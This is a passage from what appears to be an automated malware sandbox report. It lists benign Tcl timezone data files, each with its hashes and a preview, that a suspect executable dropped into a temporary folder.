Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Thimphu)]} {. LoadTimeZoneFile Asia/Thimphu.}.set TZData(:Asia/Thimbu) $TZData(:Asia/Thimphu).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Thimphu

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	171
Entropy (8bit):	4.8942281798484615
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52WFKvNZLXGm2OHEQUTFnvSVaJKuc/vhGFDV9gmZVFvbv:SlSWB9X52wKVZCm2OHEfnjKuc/JG1V9l
MD5:	F11F6E49B655045210CBC9B97BE8BD32
SHA1:	B4ED9F32D9D18FC247E80AF2D19D2B7AFF58E23F
SHA-256:	FFD5F8C9FF0FE1FF191C35A1910EE39FFD0BC0DCBE045D4651745E9AB175EBD5
SHA-512:	4095C531BF55F7424E01A2A6259F5CECD063CE4DBC5C4830E1AD663BA57B6E7852FDAFD560C599F3E6DB650B0A7E8E3DB8D7985E6CE59DDB30C9B267E21AF2B5
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Thimphu) {. {-9223372036854775808 21516 0 LMT}. {-706341516 19800 0 IST}. {560025000 21600 0 BTT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Tokyo

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	435
Entropy (8bit):	4.351989228563058
Encrypted:	false
SSDEEP:	12:MBp52XmdHOx5PAfvz/+zbL7Kzb674ybFj7azoheja:cQXeOPAfbCvGzu0y5G+eja
MD5:	C89868DEC326A339E33522C333AECEFC
SHA1:	7293EDE35C309353905BBC42583A0F660C72D7A9
SHA-256:	D53CA0525A7DE088836EA844BA8B1CFD1FC1D92B7A36BF4DEFD6270872D47196
SHA-512:	DAC49E39E568B3A798CAC4A0975912954D19EB9B3B4EAF0CA9811BEB5A773896E2D710723EC69A5A06170E6E0D175DD62F03F8D0494EFBE0F7376D729E8D7C21
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Tokyo) {. {-9223372036854775808 33539 0 LMT}. {-2587712400 32400 0 JST}. {-2335251600 32400 0 JCST}. {-1017824400 32400 0 JST}. {-683794800 36000 1 JDT}. {-672393600 32400 0 JST}. {-654764400 36000 1 JDT}. {-640944000 32400 0 JST}. {-620290800 36000 1 JDT}. {-609494400 32400 0 JST}. {-588841200 36000 1 JDT}. {-578044800 32400 0 JST}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Ujung_Pandang

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.8489855608543575
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8pYFwVAIgNzB0L2WFKPQOrFJ4WFKvn:SlSWB9IZaM3yWFwVAIg8L2wKPQOrFJ4H
MD5:	AF91CF42CFBA12F55AF3E6D26A71946D
SHA1:	673AC77D4E5B6ED7CE8AE67975372462F6AF870B
SHA-256:	D9BCAE393D4B9EE5F308FA0C26A7A6BCE716E77DB056E75A3B39B33A227760C8
SHA-512:	1FD61EA39FF08428486E07AF4404CEA67ACCCB600F11BA74B340A4F663EB8221BC7BF84AE677566F7DDEC0CB42F1946614CD11A9CD7824E0D6CAA804DF0EF514
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Makassar)]} {. LoadTimeZoneFile Asia/Makassar.}.set TZData(:Asia/Ujung_Pandang) $TZData(:Asia/Makassar).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Ulaanbaatar

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6672
Entropy (8bit):	3.8288376975522156
Encrypted:	false
SSDEEP:	192:gJhQIT2Urw7Xj8ieOB42VXnGB3wkBIGAr:gzQIRv4oCr
MD5:	6AB7A3966A6507B12AC163A811838E1D
SHA1:	659BFE5F340CBF69CBA4CF5EA71C0BFFC8921C49
SHA-256:	CB5C7AAEA7192C546E834A87DF290A851598F9A356BF41C25071A421575F7E44
SHA-512:	98AF7116F1DD16F0F82F6AE490D6046E35EE09647660EE022C8F0B0991F96BB53E0A090A56FEC2728C5BA57283FE5A6BAFF164D4046857FF0D52A797D516FB9E
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Ulaanbaatar) {. {-9223372036854775808 25652 0 LMT}. {-2032931252 25200 0 ULAT}. {252435600 28800 0 ULAT}. {417974400 32400 1 ULAST}. {433782000 28800 0 ULAT}. {449596800 32400 1 ULAST}. {465318000 28800 0 ULAT}. {481046400 32400 1 ULAST}. {496767600 28800 0 ULAT}. {512496000 32400 1 ULAST}. {528217200 28800 0 ULAT}. {543945600 32400 1 ULAST}. {559666800 28800 0 ULAT}. {575395200 32400 1 ULAST}. {591116400 28800 0 ULAT}. {606844800 32400 1 ULAST}. {622566000 28800 0 ULAT}. {638294400 32400 1 ULAST}. {654620400 28800 0 ULAT}. {670348800 32400 1 ULAST}. {686070000 28800 0 ULAT}. {701798400 32400 1 ULAST}. {717519600 28800 0 ULAT}. {733248000 32400 1 ULAST}. {748969200 28800 0 ULAT}. {764697600 32400 1 ULAST}. {780418800 28800 0 ULAT}. {796147200 32400 1 ULAST}. {811868400 28800 0 ULAT}. {828201600 32400 1 ULAST}. {843922800 28800 0 ULAT

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Ulan_Bator

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	187
Entropy (8bit):	4.675919405724711
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8TcXHVAIgNrfcXKxL2WFKhrMEBQWFKucXu:SlSWB9IZaM3yIVAIg7xL2wKhrMEewKI
MD5:	73C6A7BC088A3CD92CAC2F8B019994A0
SHA1:	74D5DCE1100F6C97DFCFAD5EFC310196F03ABED5
SHA-256:	8F075ACF5FF86E5CDE63E178F7FCB692C209B6023C80157A2ABF6826AE63C6C3
SHA-512:	4EAD916D2251CF3A9B336448B467282C251EE5D98299334F365711CCA8CAF9CA83600503A3346AEC9DFA9E9AF064BA6DEF570BABCC48AE5EB954DBF574A769B2
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Ulaanbaatar)]} {. LoadTimeZoneFile Asia/Ulaanbaatar.}.set TZData(:Asia/Ulan_Bator) $TZData(:Asia/Ulaanbaatar).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Urumqi

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	143
Entropy (8bit):	4.995506280770131
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFx52WFKjmcXGm2OHEVPvUWA0GVF7L:SlSWB9X52wKjmTm2OHEVPXA0Cd
MD5:	C0FDB7B9DF67B31B7087C3EB80C2E473
SHA1:	8A4108D3AB25EAC551242DD6026B78A92EEA7535
SHA-256:	E65943AA8AC4ED8336E534D3BA90835DA6BD62397D5EACA114E72EA0C4DBE111
SHA-512:	F73CB1970DC6DB37D4DF8E10D7CBDA4923D141AAB6C83663D6ED32063782A966BBABD3CF06DF1D2DAAFA81F80FE5BFBBC724BC30B2E1295783999A842C7D64E9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Urumqi) {. {-9223372036854775808 21020 0 LMT}. {-1325483420 21600 0 XJT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Ust-Nera

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2089
Entropy (8bit):	3.984114579228438
Encrypted:	false
SSDEEP:	24:cQueIlfuvhOCTi7ZXltAtwGpd296ymXPO9UHxQdCHt/CXHmW9YbcINu2M:5YWvhBiR8ld296yKPO9UHj1UGWgc4ur
MD5:	F95425C274DDD87B976F39958DF0539A
SHA1:	0BD62F03458AAC6B2866C8F6A7337D43F9525AAD
SHA-256:	2DACCF1F3016CFE47DBCAC51782421A902A3FFB222763D1ECC2DD6D768E9804F
SHA-512:	EAB691820324B08E56C605FCF71D73FBFCF22F74FD1D3018154ACA201BC0217669925BB7BD33DE5DE0B149B42795D9B06E7CD3EFEF3F7DA396189569467159BA
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Ust-Nera) {. {-9223372036854775808 34374 0 LMT}. {-1579426374 28800 0 YAKT}. {354898800 43200 0 MAGST}. {370699200 39600 0 MAGT}. {386427600 43200 1 MAGST}. {402235200 39600 0 MAGT}. {417963600 43200 1 MAGST}. {433771200 39600 0 MAGT}. {449586000 43200 1 MAGST}. {465318000 39600 0 MAGT}. {481042800 43200 1 MAGST}. {496767600 39600 0 MAGT}. {512492400 43200 1 MAGST}. {528217200 39600 0 MAGT}. {543942000 43200 1 MAGST}. {559666800 39600 0 MAGT}. {575391600 43200 1 MAGST}. {591116400 39600 0 MAGT}. {606841200 43200 1 MAGST}. {622566000 39600 0 MAGT}. {638290800 43200 1 MAGST}. {654620400 39600 0 MAGT}. {670345200 36000 0 MAGMMTT}. {670348800 39600 1 MAGST}. {686073600 36000 0 MAGT}. {695750400 39600 0 MAGMMTT}. {701784000 43200 1 MAGST}. {717505200 39600 0 MAGT}. {733244400 43200 1 MAGST}. {748969200 39600 0 MAGT}. {764694000 43200 1 MA

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Vientiane

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	174
Entropy (8bit):	4.808435832735883
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyq8VLYO5YFwVAIgN8ELYOAvN2WFKgTjEHp4WFKELYOun:SlSWB9IZaM3y1LewVAIgKELUvN2wKgsI
MD5:	6372DA942647071A0514AEBF0AFEB7C7
SHA1:	C9FB6B05DA246224D5EB016035AB905657B9D3FA
SHA-256:	7B1A3F36E9A12B850DC06595AAE6294FAEAC98AD933B3327B866E83C0E9A1999
SHA-512:	DC7D8753AD0D6908CA8765623EC1C4E4717833D183435957BB43E7ADB8A0D078F87319408F4C1D284CFB24BE010141B3254A36EF50C5DDCC59D7DEE5B3E33B7F
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Asia/Bangkok)]} {. LoadTimeZoneFile Asia/Bangkok.}.set TZData(:Asia/Vientiane) $TZData(:Asia/Bangkok).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Vladivostok

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	3.9430413610833295
Encrypted:	false
SSDEEP:	48:561B/9YnvKCEzQX8NcD8AxJvC7ruR/qRapveJj2iBjGEL4mGubhEZIIAsL:U1dunvTEz1NcD8AxJvC7ruR/qRapWJjS
MD5:	4D9E105B729BF73845C92C47A2AA63E0
SHA1:	BEB0BA6146FCB1CE2359053CE44BA42C317D2B23
SHA-256:	384BB739D140FABB38D844ABD1273CF9926FAFD8A04F6CB941CA33EF68EB81D0
SHA-512:	20D022C2BC7B983BF22C80DA79BBC7164400C5C6BBC6E2F67A2ED01BC24ADD2455289C321EC30B4A4D377A3D420E4614B9E564704AA69D9B9BA64B4400383BE8
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Vladivostok) {. {-9223372036854775808 31651 0 LMT}. {-1487321251 32400 0 VLAT}. {-1247562000 36000 0 VLAMMTT}. {354895200 39600 1 VLAST}. {370702800 36000 0 VLAT}. {386431200 39600 1 VLAST}. {402238800 36000 0 VLAT}. {417967200 39600 1 VLAST}. {433774800 36000 0 VLAT}. {449589600 39600 1 VLAST}. {465321600 36000 0 VLAT}. {481046400 39600 1 VLAST}. {496771200 36000 0 VLAT}. {512496000 39600 1 VLAST}. {528220800 36000 0 VLAT}. {543945600 39600 1 VLAST}. {559670400 36000 0 VLAT}. {575395200 39600 1 VLAST}. {591120000 36000 0 VLAT}. {606844800 39600 1 VLAST}. {622569600 36000 0 VLAT}. {638294400 39600 1 VLAST}. {654624000 36000 0 VLAT}. {670348800 32400 0 VLAMMTT}. {670352400 36000 1 VLAST}. {686077200 32400 0 VLAT}. {695754000 36000 0 VLAMMTT}. {701787600 39600 1 VLAST}. {717508800 36000 0 VLAT}. {733248000 39600 1 VLAST}. {748972800 36

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Yakutsk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2092
Entropy (8bit):	3.9469034609045983
Encrypted:	false
SSDEEP:	24:cQVe7Ox4Ee6QzVLNoIKtyDYzj7QBLxUDZEAznMkoNiLWk7F0i2zdNIzQu3T0JchL:5Q/ZaPG2RxLk3Isfr7jrhDbA
MD5:	4E045EF998B060BAAD6E6B522D7DF3F7
SHA1:	AF139E64B4189E5AAE3086E7FFC554C19E2B79E7
SHA-256:	FFE2B53F5B56F7BA20FFF22FAAE033A5F17F775D5598AA318468D9B0BC95DC72
SHA-512:	5E05721F30FC186450492D8FA1007F9E950C0F0E94D99CDFFCD5379CF8DC47537A18EC61312F61164B1015C99E47509A1C9A57E93814357BD4A4538CD2210552
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Yakutsk) {. {-9223372036854775808 31138 0 LMT}. {-1579423138 28800 0 YAKT}. {-1247558400 32400 0 YAKMMTT}. {354898800 36000 1 YAKST}. {370706400 32400 0 YAKT}. {386434800 36000 1 YAKST}. {402242400 32400 0 YAKT}. {417970800 36000 1 YAKST}. {433778400 32400 0 YAKT}. {449593200 36000 1 YAKST}. {465325200 32400 0 YAKT}. {481050000 36000 1 YAKST}. {496774800 32400 0 YAKT}. {512499600 36000 1 YAKST}. {528224400 32400 0 YAKT}. {543949200 36000 1 YAKST}. {559674000 32400 0 YAKT}. {575398800 36000 1 YAKST}. {591123600 32400 0 YAKT}. {606848400 36000 1 YAKST}. {622573200 32400 0 YAKT}. {638298000 36000 1 YAKST}. {654627600 32400 0 YAKT}. {670352400 28800 0 YAKMMTT}. {670356000 32400 1 YAKST}. {686080800 28800 0 YAKT}. {695757600 32400 0 YAKMMTT}. {701791200 36000 1 YAKST}. {717512400 32400 0 YAKT}. {733251600 36000 1 YAKST}. {748976400 32400

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Yekaterinburg

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2128
Entropy (8bit):	3.973341452577109
Encrypted:	false
SSDEEP:	24:cQiceRQd0hnwbdYIgOdY3IToxB3CjWODWgYrPmv+ZBUBUuco+:5iDhnwCI1SIQ/g2USJp
MD5:	6B4B04A4649ABF4334DD32D0621D5807
SHA1:	762B4B8B41BF640A2412DF28E187937961649EF5
SHA-256:	0DD4AF952CD3A38F40F900A498311B129E04292F4ECDB770DF2E335F7DCC48F5
SHA-512:	7AB8A61F733AB3D8B2EAF5EB8D60C8462B2A7DED2B4734C6F459496748458451A4AFCB42E1704534630146F34D94F7FFFFFA62CCDD6BD83F6487365F3C142636
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Yekaterinburg) {. {-9223372036854775808 14553 0 LMT}. {-1688270553 13505 0 PMT}. {-1592610305 14400 0 SVET}. {-1247544000 18000 0 SVEMMTT}. {354913200 21600 1 SVEST}. {370720800 18000 0 SVET}. {386449200 21600 1 SVEST}. {402256800 18000 0 SVET}. {417985200 21600 1 SVEST}. {433792800 18000 0 SVET}. {449607600 21600 1 SVEST}. {465339600 18000 0 SVET}. {481064400 21600 1 SVEST}. {496789200 18000 0 SVET}. {512514000 21600 1 SVEST}. {528238800 18000 0 SVET}. {543963600 21600 1 SVEST}. {559688400 18000 0 SVET}. {575413200 21600 1 SVEST}. {591138000 18000 0 SVET}. {606862800 21600 1 SVEST}. {622587600 18000 0 SVET}. {638312400 21600 1 SVEST}. {654642000 18000 0 SVET}. {670366800 14400 0 SVEMMTT}. {670370400 18000 1 SVEST}. {686095200 14400 0 SVET}. {695772000 18000 0 YEKMMTT}. {701805600 21600 1 YEKST}. {717526800 18000 0 YEKT}. {733266000

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Asia\Yerevan

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2013
Entropy (8bit):	3.917239737702558
Encrypted:	false
SSDEEP:	48:5x7DSQkgYXcEqmFbkANSJ+HDD64AuqYIeXzqKN08MDRiGUPBsCbBbiELW16sYuJw:7nSQkgycEXFbkANi+HDD6fb1ejqf3DEt
MD5:	85FDC8C4D6E028D88E775DF6958BD692
SHA1:	CF8EE7D6E87483D25F00D3A9586B5506A8960FFE
SHA-256:	9CA1596FC76AE4F64AEEE9350B666F9410EBE91DBFC8C7F2E1BB5EAA425E5EBD
SHA-512:	193BECE3C7B696C98C3D124DFF83C220147FF47A38CBEC5621D37FC673FC471D982E640DD9582ADDC009F5AD04922ABA75863780345EB7F38D8218F166DC5A57
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Asia/Yerevan) {. {-9223372036854775808 10680 0 LMT}. {-1441162680 10800 0 YERT}. {-405140400 14400 0 YERT}. {354916800 18000 1 YERST}. {370724400 14400 0 YERT}. {386452800 18000 1 YERST}. {402260400 14400 0 YERT}. {417988800 18000 1 YERST}. {433796400 14400 0 YERT}. {449611200 18000 1 YERST}. {465343200 14400 0 YERT}. {481068000 18000 1 YERST}. {496792800 14400 0 YERT}. {512517600 18000 1 YERST}. {528242400 14400 0 YERT}. {543967200 18000 1 YERST}. {559692000 14400 0 YERT}. {575416800 18000 1 YERST}. {591141600 14400 0 YERT}. {606866400 18000 1 YERST}. {622591200 14400 0 YERT}. {638316000 18000 1 YERST}. {654645600 14400 0 YERT}. {670370400 14400 1 YERST}. {685569600 14400 0 AMST}. {686098800 10800 0 AMT}. {701812800 14400 1 AMST}. {717534000 10800 0 AMT}. {733273200 14400 1 AMST}. {748998000 10800 0 AMT}. {764722800 14400 1 AMST}. {78

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Azores

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10092
Entropy (8bit):	3.8649528780118496
Encrypted:	false
SSDEEP:	192:MM3qYUil+0n538pCKzZEJV2Ihd58NhbTbW:MM6Yfl+0n538pCzhT8NhbTbW
MD5:	B54549F891DFAC46A3325B8EC4F411B1
SHA1:	4DA95284138C442CE8AE0CDFB3B1670F698B8E7E
SHA-256:	8161F5E73AF168919306522EF935A6A0B00772A72815BD6ED202EBF8519F2D9E
SHA-512:	66C2AC37865239E54F2901CB78BFB0C1CE4EDDE713A57B1785FBE4C65A5BE0A11352CDC7379F73BBD88349255224D9EA8C156A88207F1E7D189E61EF158E14A9
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/Azores) {. {-9223372036854775808 -6160 0 LMT}. {-2713904240 -6872 0 HMT}. {-1830377128 -7200 0 AZOT}. {-1689548400 -3600 1 AZOST}. {-1677794400 -7200 0 AZOT}. {-1667430000 -3600 1 AZOST}. {-1647730800 -7200 0 AZOT}. {-1635807600 -3600 1 AZOST}. {-1616194800 -7200 0 AZOT}. {-1604358000 -3600 1 AZOST}. {-1584658800 -7200 0 AZOT}. {-1572735600 -3600 1 AZOST}. {-1553036400 -7200 0 AZOT}. {-1541199600 -3600 1 AZOST}. {-1521500400 -7200 0 AZOT}. {-1442444400 -3600 1 AZOST}. {-1426806000 -7200 0 AZOT}. {-1379286000 -3600 1 AZOST}. {-1364770800 -7200 0 AZOT}. {-1348441200 -3600 1 AZOST}. {-1333321200 -7200 0 AZOT}. {-1316386800 -3600 1 AZOST}. {-1301266800 -7200 0 AZOT}. {-1284332400 -3600 1 AZOST}. {-1269817200 -7200 0 AZOT}. {-1221433200 -3600 1 AZOST}. {-1206918000 -7200 0 AZOT}. {-1191193200 -3600 1 AZOST}. {-1175468400 -7200 0 AZOT}. {

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Bermuda

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7684
Entropy (8bit):	3.7376923223964162
Encrypted:	false
SSDEEP:	192:UdPvxrPGgFEUlpde9pXbO53oVmM7IEc2fVGYu2yeB/T/eleWmBk81kS/kV6kef4E:lJv
MD5:	E55A91A96E1DC267AAEFAF27866F0A90
SHA1:	A3E8DB332114397F4F487256E9168E73784D3637
SHA-256:	A2EB47B25B3A389907DD242C86288073B0694B030B244CCF90421C0B510267BD
SHA-512:	9A8140365D76F1A83A98A35593638F2C047B3D2B1E9D0F6ACB2B321EBDB9CC5B6C8CCD3C110B127A12DCDB7D9ED16A8F7DB7DA7A8B4587486D060FACCA23F993
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/Bermuda) {. {-9223372036854775808 -15558 0 LMT}. {-1262281242 -14400 0 AST}. {136360800 -10800 0 ADT}. {152082000 -14400 0 AST}. {167810400 -10800 1 ADT}. {183531600 -14400 0 AST}. {189316800 -14400 0 AST}. {199260000 -10800 1 ADT}. {215586000 -14400 0 AST}. {230709600 -10800 1 ADT}. {247035600 -14400 0 AST}. {262764000 -10800 1 ADT}. {278485200 -14400 0 AST}. {294213600 -10800 1 ADT}. {309934800 -14400 0 AST}. {325663200 -10800 1 ADT}. {341384400 -14400 0 AST}. {357112800 -10800 1 ADT}. {372834000 -14400 0 AST}. {388562400 -10800 1 ADT}. {404888400 -14400 0 AST}. {420012000 -10800 1 ADT}. {436338000 -14400 0 AST}. {452066400 -10800 1 ADT}. {467787600 -14400 0 AST}. {483516000 -10800 1 ADT}. {499237200 -14400 0 AST}. {514965600 -10800 1 ADT}. {530686800 -14400 0 AST}. {544600800 -10800 1 ADT}. {562136400 -14400 0 AST}. {576050

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Canary

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6610
Entropy (8bit):	3.7198409643231902
Encrypted:	false
SSDEEP:	96:KXy/30NSfAewvtj544IrvfMS4pBs6nLUxZlJFXmA3SG7iL8malvkUEYo4Q:KXNIMj544IrvfMsbxZTH7qwQ
MD5:	828DD024D9CC9AA65E04A36C8AE8F050
SHA1:	163FB480815DBAB7F530D7F6612A8E0A771285B8
SHA-256:	8EEF121BAE57B4443750E8AF3EE1B5413BC4F2954F25FD6ED0BE7254755AE75A
SHA-512:	D9853F7EAC715A27E17BDA9EC8434DC841C4B28D6B5C988592BE02A88CE160341CB8243A43D20E339EF215ABC9E0E537F380DC4F16D8DB44E37AEA8BCB657364
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/Canary) {. {-9223372036854775808 -3696 0 LMT}. {-1509663504 -3600 0 CANT}. {-733874400 0 0 WET}. {323827200 3600 1 WEST}. {338950800 0 0 WET}. {354675600 3600 1 WEST}. {370400400 0 0 WET}. {386125200 3600 1 WEST}. {401850000 0 0 WET}. {417574800 3600 1 WEST}. {433299600 0 0 WET}. {449024400 3600 1 WEST}. {465354000 0 0 WET}. {481078800 3600 1 WEST}. {496803600 0 0 WET}. {512528400 3600 1 WEST}. {528253200 0 0 WET}. {543978000 3600 1 WEST}. {559702800 0 0 WET}. {575427600 3600 1 WEST}. {591152400 0 0 WET}. {606877200 3600 1 WEST}. {622602000 0 0 WET}. {638326800 3600 1 WEST}. {654656400 0 0 WET}. {670381200 3600 1 WEST}. {686106000 0 0 WET}. {701830800 3600 1 WEST}. {717555600 0 0 WET}. {733280400 3600 1 WEST}. {749005200 0 0 WET}. {764730000 3600 1 WEST}. {780454800 0 0 WET}. {796179600 3600 1 WEST}. {811904400 0 0 WE

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Cape_Verde

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	238
Entropy (8bit):	4.738409097680679
Encrypted:	false
SSDEEP:	6:SlSWB9X52RQ7Sm2OHDd0dtv+kdRfykVv+kZ+n7C:MBp5267SmdHD+CkffyXkQ7C
MD5:	AD3414825F9CF7235A14E2C5137D78EF
SHA1:	62E9A2B3618A74907376ACA8376CBCB6CBEA7BE8
SHA-256:	10A26A6B0F4FA276732D931A636446F62CDE425C2034C97697ACF2E76BDB68A6
SHA-512:	C42E19ACD89C1CC6C5D8C285A2F219DFB61C5EE26D1D69DCAA8DBA3A9C85ED70BAF174CEA4826DD9C82BFFEA78D918B45B5D8DD4877EE1B6D49025CFDAE0C919
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/Cape_Verde) {. {-9223372036854775808 -5644 0 LMT}. {-1988144756 -7200 0 CVT}. {-862610400 -3600 1 CVST}. {-764118000 -7200 0 CVT}. {186120000 -3600 0 CVT}.}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Faeroe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	181
Entropy (8bit):	4.655846706649014
Encrypted:	false
SSDEEP:	3:SlEVFRKvJT8QFCZaMuUyqLG4E2wFVAIgvMG4EeL2RQqG4EZrB/4RQqG4Ei:SlSWB9IZaM3yCwFVAIgvgL2RQ1rB/4R/
MD5:	08C5EE09B8BE16C5E974BA8070D448EA
SHA1:	D171C194F6D61A891D3390FF6492AEFB0F67646A
SHA-256:	7C6A6BCF5AAEAB1BB57482DF1BBC934D367390782F6D8C5783DBBBE663169A9B
SHA-512:	E885F3C30DBE178F88464ED505BA1B838848E6BB15C0D27733932CD0634174D9645C5098686E183CC93CB46DE7EB0DBF2EB64CB77A50FC337E2581E25107C9A6
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit.if {![info exists TZData(Atlantic/Faroe)]} {. LoadTimeZoneFile Atlantic/Faroe.}.set TZData(:Atlantic/Faeroe) $TZData(:Atlantic/Faroe).

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Faroe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6551
Entropy (8bit):	3.7148806034051316
Encrypted:	false
SSDEEP:	96:9bd30NSfAewvtj544IrvfMS4pBs6nLUxZlJFXmA3SG7iL8malvkUEYo4Q:8IMj544IrvfMsbxZTH7qwQ
MD5:	918E1825106C5C73B203B718918311DC
SHA1:	7C31B3521B396FE6BE7162BAECC4CFB4740F622B
SHA-256:	B648E691D8F3417B77EFB6D6C2F5052B3C4EAF8B5354E018EE2E9BD26F867B71
SHA-512:	5B1B5FE82A13127E3C63C8FB0A8CBD45A7277EF29720B937BB3174E8301830018755416D604F3551622E2E4D365D35E4EE1DF39B587A73E43AE0C68D1996B771
Malicious:	false
Reputation:	unknown
Preview:	# created by tools/tclZIC.tcl - do not edit..set TZData(:Atlantic/Faroe) {. {-9223372036854775808 -1624 0 LMT}. {-1955748776 0 0 WET}. {347155200 0 0 WET}. {354675600 3600 1 WEST}. {370400400 0 0 WET}. {386125200 3600 1 WEST}. {401850000 0 0 WET}. {417574800 3600 1 WEST}. {433299600 0 0 WET}. {449024400 3600 1 WEST}. {465354000 0 0 WET}. {481078800 3600 1 WEST}. {496803600 0 0 WET}. {512528400 3600 1 WEST}. {528253200 0 0 WET}. {543978000 3600 1 WEST}. {559702800 0 0 WET}. {575427600 3600 1 WEST}. {591152400 0 0 WET}. {606877200 3600 1 WEST}. {622602000 0 0 WET}. {638326800 3600 1 WEST}. {654656400 0 0 WET}. {670381200 3600 1 WEST}. {686106000 0 0 WET}. {701830800 3600 1 WEST}. {717555600 0 0 WET}. {733280400 3600 1 WEST}. {749005200 0 0 WET}. {764730000 3600 1 WEST}. {780454800 0 0 WET}. {796179600 3600 1 WEST}. {811904400 0 0 WET}. {828234000 3600 1 WEST}. {846378000 0 0 WET}.

C:\Users\user\AppData\Local\Temp\_MEI77202\tcl\tzdata\Atlantic\Jan_Mayen

Download File

